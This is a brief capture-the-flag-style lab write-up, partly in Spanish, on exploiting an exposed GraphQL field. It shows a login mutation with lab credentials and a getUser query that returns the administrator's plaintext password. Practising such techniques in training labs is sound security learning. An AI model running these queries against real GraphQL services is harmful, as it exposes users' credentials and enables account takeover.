2 - Accidental exposure of private GraphQL fields

request

    mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }

{"input":{
	"username":"wiener",
	"password":"peter"
	}
}

response

{
  "data": {
    "login": {
      "token": "PKlPc6qrV9uMQyAcgwLqmGLfrujxFaEo",
      "success": true
    }
  }
}

Buscamos y vemos que hay una query que nos permite obtener información del administrador:

query{
	getUser(id: 1) {
			id
			username
			password
	}
}
{"query":"query{\n\tgetUser(id: 1) {\r\n\t\t\tid\n\t\t\tusername\n\t\t\tpassword\r\n\t}\n}"}

respuesta:

{
  "data": {
    "getUser": {
      "id": 1,
      "username": "administrator",
      "password": "psqgud000ux6d78ttmbq"
    }
  }
}